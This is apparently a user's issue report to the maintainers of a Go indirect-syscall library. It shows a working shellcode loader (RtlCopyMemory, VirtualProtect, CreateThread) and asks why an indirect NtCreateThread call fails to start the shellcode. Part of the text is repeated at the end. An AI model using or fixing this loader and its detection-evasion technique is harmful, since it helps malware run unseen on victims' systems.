Hello! Thanks for this instrument!
I try to replace direct syscall of NtCreateThread to indirect. I got next direct call:
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
var oldProtect uint32
errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
_, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
Its run my shellcode, all good.
Try to replace by this, but something go wrong.
NTSTATUS, err := superdeye.SuperdSyscall("NtCreateThread", 0, 0, addr, uintptr(0), 0, 0)
if err != nil {
fmt.Println("Syscall was not executed... Likely the Syscall was not found or a bug...")
fmt.Println(err.Error())
}
fmt.Println("Syscall NtCreateThreadEx Made with NTSTATUS ", NTSTATUS)
No error, i got log
Syscall NtCreateThreadEx Made with NTSTATUS 3221225485
But shellcode does not start. What i miss?
Hello! Thanks for this instrument!
I try to replace direct syscall of NtCreateThread to indirect. I got next direct call:
Its run my shellcode, all good.
Try to replace by this, but something go wrong.
No error, i got log
Syscall NtCreateThreadEx Made with NTSTATUS 3221225485But shellcode does not start. What i miss?